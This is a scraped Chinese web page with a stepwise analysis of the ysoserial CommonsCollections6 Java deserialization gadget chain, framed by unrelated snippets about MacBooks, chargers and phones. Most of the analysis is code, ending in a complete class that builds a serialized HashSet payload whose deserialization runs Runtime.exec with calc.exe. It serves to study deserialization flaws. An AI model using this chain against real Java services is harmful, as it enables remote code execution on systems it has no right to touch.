<em>Mac</em>Book项目 2009年学校开始实施<em>Mac</em>Book项目,所有师生配备一本<em>Mac</em>Book,并同步更新了校园无线网络。学校每周进行电脑技术更新,每月发送技术支持资料,极大改变了教学及学习方式。因此2011
2021-06-01 09:32:01
其中LazyMap.get()->ChainedTransformer.transform()-InvokerTransformer.transform()與CC1鏈一致。
/* Gadget chain: java.io.ObjectInputStream.readObject() java.util.HashSet.readObject() java.util.HashMap.put() java.util.HashMap.hash() org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode() org.apache.commons.collections.keyvalue.TiedMapEntry.getValue() org.apache.commons.collections.map.LazyMap.get() org.apache.commons.collections.functors.ChainedTransformer.transform() org.apache.commons.collections.functors.InvokerTransformer.transform() java.lang.reflect.Method.invoke() java.lang.Runtime.exec() */
因為Runtime類不實現Serializable介面,所以使用Class類物件反射構造Runtime物件來實現exec方法。InvokerTransformer.transform()具備反射執行能力。
Class cr = Class.forName("java.lang.Runtime"); Method getMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}).transform(cr); Runtime runtime = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}).transform(getMethod); new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}).transform(runtime);
使用ChainedTransformer構造方法,給iTransformers賦值,在transform中執行iTransformers所有元素的transform,transform傳入的引數為前一個元素的物件。所以這個方法可以對步驟1中鏈執行。
public ChainedTransformer(Transformer[] transformers) { super(); iTransformers = transformers; } public Object transform(Object object) { for (int i = 0; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; }
建立一個Transformer[],包含步驟1中所有物件。
Transformer[] transformers = { new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) };
由於步驟1中cr物件是Class物件,不實現Transformer介面。通過ConstantTransformer的transform方法得到一個實現Transformer的方法。
public ConstantTransformer(Object constantToReturn) { super(); iConstant = constantToReturn; } public Object transform(Object input) { return iConstant; }
所以最終得到的transformers是
public static void main(String[] args) throws Exception { // Class cr = Class.forName("java.lang.Runtime"); ; Transformer[] transformers = { new ConstantTransformer(Class.forName("java.lang.Runtime")), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) }; new ChainedTransformer(transformers).transform(1); //calc.exe }
LazyMap類的get方法實現了,對factory的transform。factory的decorate方法實現了對factory的賦值,Transformer型別
所以向decorate傳入new ChainedTransformer(transformers),最終呼叫get來實現new ChainedTransformer(transformers)的transform。
public static Map decorate(Map map, Transformer factory) { return new LazyMap(map, factory); } public Object get(Object key) { // create value for key if key is not currently in the map if (map.containsKey(key) == false) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
當然呼叫get方法的時候,如果key是不存在的才會執行factory.transform(key),所以最終的呼叫
Transformer transformer = new ChainedTransformer(transformers); Map map = new HashMap(); map.put(1,"hello"); Map lazyMap = LazyMap.decorate(map, transformer); lazyMap.get(2); //calc.exe
根據利用鏈,下一步通過TiedMapEntry構造方法傳入map和key,通過getValue實現對map引數的get操作,所以將lazyMap和一個不存在的key作為引數傳入。
public TiedMapEntry(Map map, Object key) { super(); this.map = map; this.key = key; } public Object getValue() { return map.get(key); }
利用鏈
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 2); tiedMapEntry.getValue();
再看TiedMapEntry的hashCode方法,實現了getValue()的呼叫。
public int hashCode() { Object value = getValue(); return (getKey() == null ? 0 : getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); }
利用鏈
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 2); tiedMapEntry.hashcode();
hashmap的hash實現了對引數key的hashcode方法,put方法實現了hash方法
static final int hash(Object key) { int h; return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); } public V put(K key, V value) { return putVal(hash(key), key, value, false, true); }
利用鏈
Map hashmap = new HashMap(); hashmap.put(tiedMapEntry,1); //calc.exe
根據利用鏈看HashSet類的readobject(),由於map = new HashMap<>(),最終實現了在readobject中呼叫了hashmap.put方法。
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { ... // Read in all elements in the proper order. for (int i=0; i<size; i++) { @SuppressWarnings("unchecked") E e = (E) s.readObject(); map.put(e, PRESENT); } }
利用鏈
HashSet hashSet = new HashSet(); hashSet.add(tiedMapEntry); ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:\cc6.ser")); objectOutputStream.writeObject(hashSet); ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:\cc6.ser")); objectInputStream.readObject();
由於在TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 2)中實際執行的lazyMap.get(2)。
public Object getValue() { return map.get(key); }
lazyMap.get(2)該執行過程中,如果lazyMap不存在key,會對lazyMap儲值。
public Object get(Object key) { // create value for key if key is not currently in the map if (map.containsKey(key) == false) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
所以在做序列化的時候實際lazyMap中已經存在了key=2,反序列化的時候map.containsKey(key) == false不成立,在反序列化過程中無法成功執行Object value = factory.transform(key);
在序列化之前需要將該key移除
lazyMap.remove(2);
優化:
由於hashSet.add(tiedMapEntry);中,執行了map.put(tiedMapEntry),最終會在本地執行exec。
public boolean add(E e) { return map.put(e, PRESENT)==null; }
在一開始可以對transformers賦空值,在序列化之前再對ChainedTransformer類產生的transformer的iTransformers通過反射做修改,將實際執行的exec執行鏈傳入。
Transformer[] transformers = {}; Transformer[] transformerslist = { new ConstantTransformer(Class.forName("java.lang.Runtime")), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) }; Field field = ChainedTransformer.class.getDeclaredField("iTransformers"); field.setAccessible(true); field.set(transformer, transformerslist);
最終的利用鏈
public class CC6Test1 { public static void main(String[] args) throws Exception { Transformer[] transformers = {}; Transformer[] transformerslist = { new ConstantTransformer(Class.forName("java.lang.Runtime")), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) }; Transformer transformer = new ChainedTransformer(transformers); Map map = new HashMap(); map.put(1,"hello"); Map lazyMap = LazyMap.decorate(map, transformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 2); HashSet hashSet = new HashSet(); hashSet.add(tiedMapEntry); lazyMap.remove(2); Field field = ChainedTransformer.class.getDeclaredField("iTransformers"); field.setAccessible(true); field.set(transformer, transformerslist); ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:\cc6.ser")); objectOutputStream.writeObject(hashSet); ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:\cc6.ser")); objectInputStream.readObject(); } }
以上就是java 安全 ysoserial CommonsCollections6 分析的詳細內容,更多關於java ysoserial CommonsCollections6的資料請關注it145.com其它相關文章!
相關文章
<em>Mac</em>Book项目 2009年学校开始实施<em>Mac</em>Book项目,所有师生配备一本<em>Mac</em>Book,并同步更新了校园无线网络。学校每周进行电脑技术更新,每月发送技术支持资料,极大改变了教学及学习方式。因此2011
2021-06-01 09:32:01
综合看Anker超能充系列的性价比很高,并且与不仅和iPhone12/苹果<em>Mac</em>Book很配,而且适合多设备充电需求的日常使用或差旅场景,不管是安卓还是Switch同样也能用得上它,希望这次分享能给准备购入充电器的小伙伴们有所
2021-06-01 09:31:42
除了L4WUDU与吴亦凡已经多次共事,成为了明面上的厂牌成员,吴亦凡还曾带领20XXCLUB全队参加2020年的一场音乐节,这也是20XXCLUB首次全员合照,王嗣尧Turbo、陈彦希Regi、<em>Mac</em> Ova Seas、林渝植等人全部出场。然而让
2021-06-01 09:31:34
目前应用IPFS的机构:1 谷歌<em>浏览器</em>支持IPFS分布式协议 2 万维网 (历史档案博物馆)数据库 3 火狐<em>浏览器</em>支持 IPFS分布式协议 4 EOS 等数字货币数据存储 5 美国国会图书馆,历史资料永久保存在 IPFS 6 加
2021-06-01 09:31:24
开拓者的车机是兼容苹果和<em>安卓</em>,虽然我不怎么用,但确实兼顾了我家人的很多需求:副驾的门板还配有解锁开关,有的时候老婆开车,下车的时候偶尔会忘记解锁,我在副驾驶可以自己开门:第二排设计很好,不仅配置了一个很大的
2021-06-01 09:30:48
不仅是<em>安卓</em>手机,苹果手机的降价力度也是前所未有了,iPhone12也“跳水价”了,发布价是6799元,如今已经跌至5308元,降价幅度超过1400元,最新定价确认了。iPhone12是苹果首款5G手机,同时也是全球首款5nm芯片的智能机,它
2021-06-01 09:30:45